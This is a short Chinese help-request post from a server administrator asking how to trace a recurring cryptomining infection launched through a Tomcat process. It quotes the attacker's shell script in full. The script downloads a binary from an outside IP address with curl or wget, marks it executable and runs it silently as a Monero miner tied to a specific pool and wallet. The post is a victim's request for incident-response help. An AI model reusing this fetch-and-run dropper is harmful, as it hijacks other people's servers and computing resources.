挖矿病毒怎么排查

从6月开始，服务器断断续续被植入了挖矿病毒，然后我们追踪了一部分入口。发现服务器上会不定时执行一个curl命令，这个命令的父进程是java的tomcat容器
下面是那个shell脚本的内容，现在不知道对方是怎么进来的。






U=http://107.150.2.61/autox
AGENT_FILE='/tmp/autox'
if command -v curl > /dev/null 2>&1; then
  curl -s $U > $AGENT_FILE
elif command -v wget > /dev/null 2>&1; then
  wget -q $U -O - > $AGENT_FILE
else
  curl -s $U > $AGENT_FILE
fi
if [ ! -x $AGENT_FILE ]; then
  chmod +x $AGENT_FILE
fi
ps -ef|grep $AGENT_FILE|grep -v grep
if [ $? -ne 0 ]; then
  nohup $AGENT_FILE -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4AniF816tMCNedhQ4J3ccJayyL5ZvgnqQ4X9bK7qv4ZG3QmUfB9tkHk7HyEhh5HW6hCMSw5vtMkj6jSYcuhQTAR1Sbo15gB -p x > /dev/null 2>&1 &
fi